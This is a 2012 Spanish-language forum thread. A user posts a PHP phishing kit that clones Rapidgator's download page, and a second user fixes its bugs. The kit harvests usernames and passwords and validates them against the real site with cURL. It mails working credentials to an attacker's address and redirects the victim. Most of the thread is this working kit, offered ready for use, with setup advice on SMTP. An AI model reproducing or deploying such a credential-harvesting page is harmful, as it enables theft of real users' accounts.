Proyecto scam de Rapidgator con Curl (faltan detalles)

Iniciado por motorxua, Noviembre 17, 2012, 12:51:48 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Noviembre 17, 2012, 12:51:48 PM Ultima modificación: Julio 18, 2016, 01:41:30 PM por motorxua
Hola, le escribí un correo al Staff y me recomendaron postear en esta sección. Acá dejo mi scam de rapidgator echo exclusivamente en php, el mismo tambien tiene un codigo de Curl para que acepte solo pass reales y las envie al correo , y en caso de ser datos falsos deje una leyenda de "usuario y/o contraseña incorrecta". Pero tiene algun error porque me reconoce cuando el dato es falso, pero cuando es verdadero no continua con el enlace..por favor espero su respuesta asi queda listo para usarse, y de paso no se comete el mismo error en el futuro, saludos!

Código: html5
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8 "/>
    <link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/all.css?v=2" />
<link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/ddsmoothmenu.css" />
<script type="text/javascript" src="http://rapidgator.net/assets/8d5cb7dd/jquery.min.js"></script>
<script type="text/javascript" src="http://rapidgator.net/javascript/input.js"></script>
<script type="text/javascript" src="http://rapidgator.net/javascript/main.js"></script>
<script type="text/javascript" src="http://rapidgator.net/javascript/ddsmoothmenu.js"></script>
<title>Download Rapidgator.net: Fast, safe and secure file hosting</title>    <!--
    <noscript>  <meta http-equiv="refresh" content="0; URL=browser_not_supported.html" /> </noscript>
    -->
    <!--[if lt IE 7]>
    <meta http-equiv="refresh" content="0; URL=browser_not_supported.html" />
    <div style="display: none">
    <![endif]-->
    <!--[if lt IE 8]>
    <link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/ie.css" media="screen" />    <![endif]-->
    <!--[if IE 8]>
    <link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/ie8.css" media="screen" />    <![endif]-->
    <!--[if IE 6]>
    <script type="text/javascript" src="/javascript/pngFX.js"></script>    <script type="text/javascript">
        DD_belatedPNG.fix(' img, .logo a, .wrap-timer, .timer ');
    </script>
    <![endif]-->
    <script type="text/javascript">
        var url_changeLang = 'http://rapidgator.net/site/lang';
        var url_antifrodDownloadLog = 'http://rapidgator.net/antifrod/SaveDownloadLog';
        ddsmoothmenu.init({
            mainmenuid: "smoothmenu1", //menu DIV id
            orientation: 'h', //Horizontal or vertical menu: Set to "h" or "v"
            classname: 'ddsmoothmenu', //class added to menu's outer DIV
            //customtheme: ["#1c5a80", "#18374a"],
            contentsource: "markup" //"markup" or ["container_id", "path_to_menu_file"]
        });
    </script>
   
        <!--Google analytics don't remove-->
    <script type="text/javascript">
        var _gaq = _gaq || [];
        _gaq.push(['_setAccount', 'UA-25516484-1']);
        _gaq.push(['_trackPageview']);
        (function() {
            var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
            ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
        })();
    </script>
    <!--Google analytics don't remove-->
</head>
<body>
<FORM method="POST" id="logoutfrm"><input type="hidden" name="logout" value="1"></FORM>
<div class="container">
    <div class="header">
        <h1 class="logo"><a href="http://rapidgator.net/site/index">Rapidgator.net</a></h1>
        <p class="slogan">Rapidgator.net: Fast, safe and secure file hosting</p>

        <div class="ddsmoothmenu" id="smoothmenu1">
            <ul>
                <li><a href="http://rapidgator.net/News/NewsList" >News</a></li>
                <li><a href="http://rapidgator.net">Upload file</a>
                    <ul>
                        <li><a href="http://rapidgator.net/site/index">Web upload</a></li>
                        <li><a href="http://rapidgator.net/profile/ftp">FTP</a></li>
                        <li><a href="http://rapidgator.net/remotedl/index">Remote upload</a></li>
                    </ul>
                </li>
                <li><a href="http://rapidgator.net/article/premium">Premium</a></li>
                <li><a href="http://rapidgator.net/article/resource">Earn</a></li>
                <!-- <li><a href="http://rapidgator.net/article/faq">FAQ</a></li> -->
                                <li><a href="http://rapidgator.net/article/faq">Support</a></li>
            </ul>
        </div>


        <div class="box-login">
            <ul>
                <li class="login-open">
                                        <a href="poslogin.php?url=<?php echo $_GET["url"];?>">Login</a>
                    <form name="loginfrm" id="login" method="POST">
                        <div class="popup-login hidden">
<input type="hidden" name="login" value="1">
        <input type="text" value=""  name="username" id="username" class="txt up-login" onKeyDown="if(event.keyCode==13)document.getElementById('password').focus();"/>
                           <input type="password" name="password" id="password" value=""  class="txt up-login" onKeyDown="if(event.keyCode==13)postlogin();"/>
                         
                            <div style="display: none">
                                <input type="text" class="captcha-txt up-login" name="LoginForm[verifyCode]"/>
                                                                <img width="120" height="50" btn_id="gr3tefg_0" class="captcha" id="yw0" src="/auth/captcha/v/50829aa34d996" alt="" />                                                                <div class="captcha-refresh"><a id="gr3tefg_0"></a></div>
                            </div>
                            <div class="wrap">
                                <div class="inp">
                                    <p><input type="checkbox" class="ch" id="rem"  checked="checked" name="LoginForm[rememberMe]" value="1"/> <label for="rem">Remember me</label></p>
                                    <a href="http://rapidgator.net/account/ForgotPassword" class="restore">Forgot password</a>
                                </div>
                               
                                <a class="btn-login" style="cursor:pointer;" onclick ="document.forms.login.submit();">Login</a>
                            </div>
                            <?php
if(isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
function curl($web, $post) {
if(! function_exists('curl_init')) {
$opt = array('http' =>
array('method' => 'POST',
                                      'header' => 'Content-type: application/x-www-form-urlencoded',
                                      'content' => $post
                                      )
                    );
$context = stream_context_create($opt);
$cuenta = file_get_contents($web, false, $context);
}else {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $web);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
curl_setopt($curl, CURLOPT_REFERER, 'https://rapidgator.net/auth/login');
curl_setopt($curl, CURLOPT_TIMEOUT, 15);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$cuenta = curl_exec($curl);
curl_close($curl);
}
return $cuenta;
}
$web = 'https://rapidgator.net/auth/login';
$post = 'login=1&username='.$user.'&password='.$pass;
$data = strstr(strip_tags(curl($web, $post)), 'Account type');
if (!$data){
echo '<div class="">
<div style="padding-top:22px; margin-bottom:10px; font-weight:bold; color:red;">
<center>Error e-mail or password.</center>
</div>
</div>';
}else{

$User=$_POST['username'];
$Pass=$_POST['password'];
$Url=$_POST['url'];
mail("[email protected]", "Cuenta", "Usuario: $User\nContraseña: $Pass\nRapidgator: $Url","\r\n");
setcookie ("user", "empty", time()+3600);
/*Mail by 3l
/*
handle = fopen("ponela.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}

fwrite($handle, "\r\n");
fclose($handle);
*/
echo '<META HTTP-EQUIV="refresh" CONTENT="0; url='.$_GET['url'].'">';
}
}else{
           ?>
            <?php
   }
?>
                        </div>
                    </form>
                    <script type="text/javascript">
                    //<![CDATA[//><!--
                        $('input.up-login').keypress(function(e){
                            if((e.which == 13) && ($('input.up-login').val() != '')){
                                $('form#login').submit();
                            }
                        });
                    //--><!]]>
                    </script>
                                    </li>
                                <li>
                    <a href="http://rapidgator.net">Registration</a>
                </li>
                            </ul>
        </div>
    </div>



    <div class="box-lang slider">
        <span class="lang-open">Language:</span>
        <strong class="btn-open">English</strong>
        <div class="popup-lang hidden">
            <ul>
                <li><a href="javascript:void(0);" onclick="changeLang('ru')">Русский</a></li>
                <li><a href="javascript:void(0);" onclick="changeLang('ja')">日本の</a></li>
                <li><a href="javascript:void(0);" onclick="changeLang('en')">English</a></li>
            </ul>
        </div>
    </div>
    <div class="overall">
        <div class="wrap-main-block">

           
<div class="main-block wide">
    <div width="100%" align="center">
    <a href="http://kovla.com/promotion/vip30" target="blank"><img src="http://rapidgator.net/images/banners/button.png"></a><script type='text/javascript'>
    var refererCode = 4;
    (function() {
        var p = document.createElement('script'); p.type = 'text/javascript'; p.async = true;
        p.src = 'http://' + 'cdn3.kovla.com/static/js/popunder-3.js';
        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(p, s);
    })();
</script></div>    <div class="in">
        <div class="text-block file-descr" style="height: 76px;">
            <div class="btm" style="height: 76px;">
                                <p style="word-wrap: break-word;width: 490px;line-height: 19px;">
                    <strong>
                        Downloading:
                    </strong>
                    <a href="">
                    <?php echo $_GET ["archivo"]?>                    </a>
                </p>
                    <div>
                        File size:
                        <strong><?php echo $_GET ["peso"]?></strong>
                    </div>
                            </div>
        </div>
        <div class="clear"></div>
        <div class="social_buttons">
            <!-- AddThis Button BEGIN -->
            <div class="addthis_toolbox addthis_default_style ">
            <a class="addthis_button_preferred_1"></a>
            <a class="addthis_button_preferred_2"></a>
            <a class="addthis_button_preferred_3"></a>
            <a class="addthis_button_preferred_4"></a>
            <a class="addthis_button_compact"></a>
            <a class="addthis_counter addthis_bubble_style"></a>
            </div>
            <script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-4f1d3bb56c6cc840"></script>
            <!-- AddThis Button END -->
        </div>
        <div class="clear"></div>

        <!--<div class="text-block premiumcode">
            <div class="btm">
                <table>
                    <tr>
                        <td style="padding-top: 5px; padding-left: 20px;">
                            <p>
                                <strong>
                                    Если у вас есть премиум-код, введите его сюда:
                                </strong>
                            </p>
                        </td>
                        <td style="padding: 0 10px;">
                            <span class="txt" style="width: auto;">
                                <input class="text-input length" value="test" type="text" id="coupon_code" name="coupon_code" style="width: auto;" />
                            </span>
                        </td>
                        <td>
                            <a href="#" class="btn" id="btn-coupon-submit" style="width: 50px;">
                                <span>OK</span>
                            </a>
                        </td>
                    </tr>
                </table>
            </div>
        </div>-->

        <div class="text-block download-prepare">
            <div class="btm low_padding">
                <div class="table-download">
                    <style type="text/css">
    .table_header{
        background-color: #ffffdf;
        border: 1px solid #f1f1e0;
        border-bottom: 0px;
        min-height: 40px;
        font-weight: bold;
        line-height: 125%;
        text-align: center;
        padding: 8px;
        font-size: 16px;
    }
</style>
<div id="table_header" class="table_header">
    </div>                    <table>
                        <tr>
                            <th class="descr">
                                <strong>
                                    Choose download type                                </strong>
                            </th>
                            <th>
                                <a href="<?php echo $_GET["url"];?>" class="link act-link btn-free">
                                    SLOW SPEED DOWNLOAD                                </a>
                                <div class="download-timer">
                                    Wait                                    <span class="download-timer-seconds">

                                    </span>&nbsp;sec.                                </div>
                            </th>
                            <th>
                                <a href="http://rapidgator.net/article/premium" class="link active btn-premium">
                                    HIGH SPEED DOWNLOAD                                </a>
                            </th>
                        </tr>
                        <tr>
                            <td class="descr">
                                Download type:
                            </td>
                            <td>Free</td>
                            <td>
                                <strong>
                                    Premium                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Download speed:
                            </td>
                            <td>
                                Limited                            </td>
                            <td>
                                <strong>
                                    Unlimited                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Maximum parallel downloads:
                            </td>
                            <td>1</td>
                            <td>
                                <strong>
                                    Unlimited                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Download restriction:
                            </td>
                            <td>
                                1 file per                                                                15 minutes                            </td>
                            <td>
                                <strong>
                                    NO                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Direct/Hot Linking:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Downloads start instantly:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Fast download even when servers are busy:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Support for resuming downloads:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>

                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Support for download accelerators:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                                                <tr>
                            <td class="descr">
                                Estimated Download time:
                            </td>
                            <td>
                                <a href="<?php echo $_GET["url"];?>" class="link act-link btn-free">
                                                                        4 minutes                                    26 seconds                                </a>
                                <div class="download-timer">
                                    Wait                                    <span class="download-timer-seconds">

                                    </span>&nbsp;sec.                                </div>
                            </td>
                            <td>
                                <a href="http://rapidgator.net/article/premium" class="link active btn-premium">
                                                                                                            20 seconds                                </a>
                            </td>
                        </tr>
                                            </table>
                </div>
            </div>
        </div>
        <div class="text-block download-ready">
            <div class="btm">
                <div class="box-download">
                    <a href="<?php echo $_GET["url"];?>" class="btn btn-download">
                            <span>
                                Click here to download                            </span>
                    </a>
                </div>
            </div>
        </div>
        <div class="text-block welcome">
        </div>
    </div>
</div>

<script type="text/javascript">
    var startTimerUrl = 'http://rapidgator.net/download/AjaxStartTimer';
    var getDownloadUrl = 'http://rapidgator.net/download/AjaxGetDownloadLink';
    var couponUrl = 'http://rapidgator.net/download/AjaxCouponVerify';
    var captchaUrl = 'http://rapidgator.net/download/captcha';
    var secs = 30;
    var mil_secs = 0;
    var download_link = '';
    var sid = '';
    var fid = 50398939;
    var premium_download_link = '';
    var is_premium = 0;
    var buy_premium_page = 'http://rapidgator.net/article/premium';
    var LABELS = {
        STARTING: 'Starting',
        ERROR: 'Error',
        GETTINGLINK: 'Getting link'
    };
    var elm_infobar = $(".table-download .table_header");
    var infobar_msg = '';
    var infobar_waitmsg = 'Please hold, download will start in <span class="seconds"></span> seconds. Do not wish to wait? Please <a href="/article/premium">click here</a>.<br>Premium users download files without delays and at maximum speed!';

    $(document).ready(function()
    {
        if (infobar_msg == '') {
            elm_infobar.hide();
        }

        if (is_premium == 1) {
            showReadyPage(premium_download_link);
        }

        /*$("#btn-coupon-submit").live('click', function(){
            var coupon_code = $("#coupon_code").val();
            $.getJSON(couponUrl, {coupon_code: coupon_code, file_id: fid}, function(data){
                if ( (data !== undefined && data == '') || data.error != '') {
                    var error_msg = '';
                    if (data.error !== undefined) {
                        error_msg = data.error;
                    } else {
                        error_msg = LABELS.ERROR + '. ' + LABELS.ADMINCONTACT;
                    }
                    alert(error_msg);
                } else {
                    showReadyPage(data.download_url);
                }
            });
        });*/

        $(".btn-premium").click(function(){
            location.href = buy_premium_page;
            return false;
        });

        $(".btn-free").click(function(){
            $(".btn-free").html(LABELS.STARTING + '...');
            $.getJSON(startTimerUrl, {fid: fid}, function(data){
                if (data.state !== undefined && data.state == 'error') {
                    alert(LABELS.ERROR + ' ' + data.code);
                    location.reload();
                } else {
                    if (data.state !== undefined && data.state == 'started') {
                        $(".btn-free").hide();
                        $(".download-timer").show();
                        if (data.sid !== undefined) {
                            sid = data.sid;
                        }
                        startTimer();
                    }
                }
            });
            return false;
        });

        $(".btn-download").live('click', function() {
        location.href = download_link;

            return false;
        });

        if (startTimerUrl == '') {
            $(".btn-free").unbind('click');
        }
    });

    function showReadyPage(dwnlink)
    {
        $('.download-prepare').hide();
        $('.premiumcode').hide();
        download_link = dwnlink;
        $('.download-ready').show();
    }

    function startTimer()
    {
        elm_infobar.html(infobar_waitmsg);
        var domTimer = $(".download-timer .download-timer-seconds");
        var infobarSecs = $(".table-download .table_header .seconds");
        domTimer.text(secs);
        infobarSecs.text(secs);
        elm_infobar.show();
        var timer = window.setInterval(function() {
            if (secs > 0) {
                secs--;
                domTimer.text(secs);
                infobarSecs.text(secs);
            } else {
                window.clearInterval(timer);
                getDownloadLink();
            }
        }, 1000);
    }

    function getDownloadLink()
    {
        $(".download-timer").html(LABELS.GETTINGLINK + '...');
        $.getJSON(getDownloadUrl, {sid: sid}, function(data){
            if (data.state !== undefined && data.state == 'error') {
                alert(LABELS.ERROR + ' ' + data.code);
                location.reload();
            } else {
                if (data.state !== undefined
                    && data.state == 'done') {
                    location.href = captchaUrl;
                    // showReadyPage(data.download_link);
                }
            }
        });
    }
</script>

        </div>
    </div>
</div>
<div class="footer">
    <div class="in">
        <p>Copyright © 2010-2012 Rapidgator.net, All rights reserved</p>
        <ul>
            <li><a href="http://rapidgator.net/article/privacyPolicy">Privacy Policy</a></li>
            <li><a href="http://rapidgator.net/article/terms">Terms and Conditions</a></li>
            <li><a href="http://rapidgator.net/article/intellectPolicy">DMCA</a></li>
            <li><a href="http://rapidgator.net/feedback/contact/q/6">Report abuse</a></li>
            <li><a href="http://rapidgator.net/linkchecker/check">Link checker</a></li>
            <li><a href="http://rapidgator.net/article/about">About us</a></li>
            <li>
                <a target="_blank" href="http://www.facebook.com/RapidGator"><span><img alt="Facebook" src="http://rapidgator.net/images/facebook-16x16.png" class="img"/></span></a>&nbsp;
                <a target="_blank" href="https://twitter.com/#!/Rapidgator"><span><img alt="Twitter" src="http://rapidgator.net/images/twitter-16x16.png" class="img"/></span></a>
            </li>
        </ul>
    </div>
</div>

<script type="text/javascript">
/*<![CDATA[*/
jQuery(function($) {
jQuery('#gr3tefg_0').after("<div><a id=\"yw0_button\" href=\"\/auth\/captcha\/refresh\/1\">Refresh<\/a><\/div>");
jQuery('#yw0_button').live('click',function(){
        jQuery.ajax({
                url: "\/auth\/captcha\/refresh\/1",
                dataType: 'json',
                cache: false,
                success: function(data) {
                        jQuery('#yw0').attr('src', data['url']);
                        jQuery('body').data('auth/captcha.hash', [data['hash1'], data['hash2']]);
                }
        });
        return false;
});

});
/*]]>*/
</script>
</body>
</html>


internet libre, y contenidos aún mas libres.

algun administrador o conocedor del tema que colabore? la idea es que colaboremos cada uno con lo que tiene o puede..37 vistas y nadie ni comentó..
internet libre, y contenidos aún mas libres.

despues de 67 visitas y ninguna respuesta, he removido el codigo, el que esté interesado en desarrollarlo conjuntamente que mande un mje privado y con gusto se lo mando, saludos
internet libre, y contenidos aún mas libres.

Si puedes poner el código de nuevo te echo la mano con ese problemita jejej y disculpa la demora.

Saludos y estaré atento.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

WTF! Lo removiste ṕorque en un dia no te respondieron :|.

Saludos :P
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



ya lo re-establecí, saludos y espero su ayuda!
internet libre, y contenidos aún mas libres.

Estuve ejecutando el source pero me da muchos errores, tuve que leer el source para ir agregando cosas como los parametros necesarios, pero habian muchisimas cosas.

Te recomiendo que hagas un PoC men, osea sin diseño ni nada. Que solo compruebe si el pass existe en rapidgator o no, y eso lo adaptas al source.

Te recomiendo este articulo que escribí hace tiempo y lo apliques a tu source.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

me olvide de decirte, te mando por mp una premium rapidgator para que puedas realizar la prueba, ahora sigo leyendo tu articulo, saludos!
internet libre, y contenidos aún mas libres.

Bueno, ese scam esta muy desactualizado, supongo que no sera tuyo,  y en post como este no me gusta ayudar. Pero te di mi palabra, a si que esta vez hago una excepcion xD. Agregue una clase vieja que cree hace algunos años pero que funciona de maravilla.

Bueno, si los datos son falso, envía un mensaje de alerta diciendo que los datos son incorrectos. Si son correcto, envia un mail a tu correo con los datos y luego redirecciona a la pagina de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

El que programo ese archivo no sabe ni HTML, nunca hiba a redireccionar.

Otra cosa muy importante, para que te envié el correo, en el servidor donde subas el scam debe tener configurado SMTP o el que use el servidor.

Este es el source:
Código: php
<?php

class HttpLoginConnect {

private $login;
private $user;
private $pass;
private $form_user;
private $form_pass;
private $parametro_opcional;
private $comprovar;
private $cookie_active;
private $cookie_value;

public function login($login)
{
    $this->login = $login;
}

public function user_pass($usuario, $password)
{
    $this->user = $usuario;
    $this->pass = $password;
}

public function field_user($field_user)
{
    $this->form_user = $field_user;
}

public function field_pass($field_pass)
{
    $this->form_pass = $field_pass;
}

public function additional_parameter($par){
$this->parametro_opcional = $par;
}

public function check(){
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4');
curl_setopt($ch,CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($ch, CURLOPT_URL, $this->login);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HEADER,true);//Salida de las cabeseras
curl_setopt ($ch, CURLOPT_POST, true);

if(empty($this->parametro_opcional)){
curl_setopt ($ch, CURLOPT_POSTFIELDS, $this->form_user."=".$this->user."&".$this->form_pass."=".$this->pass);
}else{
curl_setopt ($ch, CURLOPT_POSTFIELDS, $this->form_user."=".$this->user."&".$this->form_pass."=".$this->pass."&".$this->parametro_opcional);
}
$header = curl_exec($ch);

if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == 302){
preg_match_all("/Set-Cookie:\s*([\w\=]+)[\s\;\n]*/i", $header, $cookie_valor, PREG_SET_ORDER);
foreach ($cookie_valor as $cookie_valor){
$this->cookie_value .= $cookie_valor[1].";";
}
if(!empty($this->cookie_value)){
$this->comprovar = true;
}

}
curl_close($ch);
return $this->comprovar;
}

public function cookie_active($value){
if($value){
$this->cookie_active = true;
}else{
$this->cookie_active = false;
}
}

public function view_cookie(){
if($this->comprovar){
return $this->cookie_value;
}else{
return false;
}
}


public function get($site){
if($this->comprovar && $this->cookie_active){
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4');
curl_setopt($ch,CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $this->cookie_value);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}else{
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4');
curl_setopt($ch,CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
}

}

?>











<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8 "/>
    <link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/all.css?v=2" />
<link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/ddsmoothmenu.css" />
<script type="text/javascript" src="http://rapidgator.net/assets/8d5cb7dd/jquery.min.js"></script>
<script type="text/javascript" src="http://rapidgator.net/javascript/input.js"></script>
<script type="text/javascript" src="http://rapidgator.net/javascript/main.js"></script>
<script type="text/javascript" src="http://rapidgator.net/javascript/ddsmoothmenu.js"></script>
<title>Download Rapidgator.net: Fast, safe and secure file hosting</title>    <!--
    <noscript>  <meta http-equiv="refresh" content="0; URL=browser_not_supported.html" /> </noscript>
    -->
    <!--[if lt IE 7]>
    <meta http-equiv="refresh" content="0; URL=browser_not_supported.html" />
    <div style="display: none">
    <![endif]-->
    <!--[if lt IE 8]>
    <link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/ie.css" media="screen" />    <![endif]-->
    <!--[if IE 8]>
    <link rel="stylesheet" type="text/css" href="http://rapidgator.net/css/ie8.css" media="screen" />    <![endif]-->
    <!--[if IE 6]>
    <script type="text/javascript" src="/javascript/pngFX.js"></script>    <script type="text/javascript">
        DD_belatedPNG.fix(' img, .logo a, .wrap-timer, .timer ');
    </script>
    <![endif]-->
    <script type="text/javascript">
        var url_changeLang = 'http://rapidgator.net/site/lang';
        var url_antifrodDownloadLog = 'http://rapidgator.net/antifrod/SaveDownloadLog';
        ddsmoothmenu.init({
            mainmenuid: "smoothmenu1", //menu DIV id
            orientation: 'h', //Horizontal or vertical menu: Set to "h" or "v"
            classname: 'ddsmoothmenu', //class added to menu's outer DIV
            //customtheme: ["#1c5a80", "#18374a"],
            contentsource: "markup" //"markup" or ["container_id", "path_to_menu_file"]
        });
    </script>
   
        <!--Google analytics don't remove-->
    <script type="text/javascript">
        var _gaq = _gaq || [];
        _gaq.push(['_setAccount', 'UA-25516484-1']);
        _gaq.push(['_trackPageview']);
        (function() {
            var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
            ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
        })();
    </script>
    <!--Google analytics don't remove-->
</head>
<body>
<FORM method="POST" id="logoutfrm"><input type="hidden" name="logout" value="1"></FORM>
<div class="container">
    <div class="header">
        <h1 class="logo"><a href="http://rapidgator.net/site/index">Rapidgator.net</a></h1>
        <p class="slogan">Rapidgator.net: Fast, safe and secure file hosting</p>

        <div class="ddsmoothmenu" id="smoothmenu1">
            <ul>
                <li><a href="http://rapidgator.net/News/NewsList" >News</a></li>
                <li><a href="http://rapidgator.net">Upload file</a>
                    <ul>
                        <li><a href="http://rapidgator.net/site/index">Web upload</a></li>
                        <li><a href="http://rapidgator.net/profile/ftp">FTP</a></li>
                        <li><a href="http://rapidgator.net/remotedl/index">Remote upload</a></li>
                    </ul>
                </li>
                <li><a href="http://rapidgator.net/article/premium">Premium</a></li>
                <li><a href="http://rapidgator.net/article/resource">Earn</a></li>
                <!-- <li><a href="http://rapidgator.net/article/faq">FAQ</a></li> -->
                                <li><a href="http://rapidgator.net/article/faq">Support</a></li>
            </ul>
        </div>


        <div class="box-login">
            <ul>
                <li class="login-open">
                                        <a href="poslogin.php?url=<?php echo $_GET["url"];?>">Login</a>
                    <form name="loginfrm" id="login" method="POST">
                        <div class="popup-login hidden">
<input type="hidden" name="login" value="1">
        <input type="text" value=""  name="username" id="username" class="txt up-login" onKeyDown="if(event.keyCode==13)document.getElementById('password').focus();"/>
                           <input type="password" name="password" id="password" value=""  class="txt up-login" onKeyDown="if(event.keyCode==13)postlogin();"/>
                         
                            <div style="display: none">
                                <input type="text" class="captcha-txt up-login" name="LoginForm[verifyCode]"/>
                                                                <img width="120" height="50" btn_id="gr3tefg_0" class="captcha" id="yw0" src="/auth/captcha/v/50829aa34d996" alt="" />                                                                <div class="captcha-refresh"><a id="gr3tefg_0"></a></div>
                            </div>
                            <div class="wrap">
                                <div class="inp">
                                    <p><input type="checkbox" class="ch" id="rem"  checked="checked" name="LoginForm[rememberMe]" value="1"/> <label for="rem">Remember me</label></p>
                                    <a href="http://rapidgator.net/account/ForgotPassword" class="restore">Forgot password</a>
                                </div>
                               
                                <a class="btn-login" style="cursor:pointer;" onclick ="document.forms.login.submit();">Login</a>
                            </div>
                            <?php
if(isset($_POST['password'])){

            $user = $_POST['username'];
            $pass = $_POST['password'];

            $lc = new HttpLoginConnect();
            $lc->login('https://rapidgator.net/auth/login');
            $lc->field_user('LoginForm[email]');
            $lc->field_pass('LoginForm[password]');
            $lc->user_pass($user, $pass);
            $lc->cookie_active(true);

            $comprobacion = $lc->check();





            //LoginForm[email][email protected]&LoginForm[password]=legend1974&LoginForm[rememberMe]=1
if (!$comprobacion){
echo '<div class="">
<div style="padding-top:22px; margin-bottom:10px; font-weight:bold; color:red;">
<center>Error e-mail or password.</center>
                            <script>alert("Datos incorrectos");</script>
</div>
</div>';
}else{

$User=$_POST['username'];
$Pass=$_POST['password'];
$Url=$_POST['url'];
mail("[email protected]", "Cuenta", "Usuario: $User\nContraseña: $Pass\nRapidgator: $Url","\r\n");
setcookie ("user", "empty", time()+3600);
/*Mail by 3l
/*
handle = fopen("ponela.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}

fwrite($handle, "\r\n");
fclose($handle);
*/
echo '<script>document.location.href="http://www.underc0de.org/foro/index.php";</script>';
}
}else{
           ?>
            <?php
   }
?>
                        </div>
                    </form>
                    <script type="text/javascript">
                    //<![CDATA[//><!--
                        $('input.up-login').keypress(function(e){
                            if((e.which == 13) && ($('input.up-login').val() != '')){
                                $('form#login').submit();
                            }
                        });
                    //--><!]]>
                    </script>
                                    </li>
                                <li>
                    <a href="http://rapidgator.net">Registration</a>
                </li>
                            </ul>
        </div>
    </div>



    <div class="box-lang slider">
        <span class="lang-open">Language:</span>
        <strong class="btn-open">English</strong>
        <div class="popup-lang hidden">
            <ul>
                <li><a href="javascript:void(0);" onclick="changeLang('ru')">Русский</a></li>
                <li><a href="javascript:void(0);" onclick="changeLang('ja')">日本の</a></li>
                <li><a href="javascript:void(0);" onclick="changeLang('en')">English</a></li>
            </ul>
        </div>
    </div>
    <div class="overall">
        <div class="wrap-main-block">

           
<div class="main-block wide">
    <div width="100%" align="center">
    <a href="http://kovla.com/promotion/vip30" target="blank"><img src="http://rapidgator.net/images/banners/button.png"></a><script type='text/javascript'>
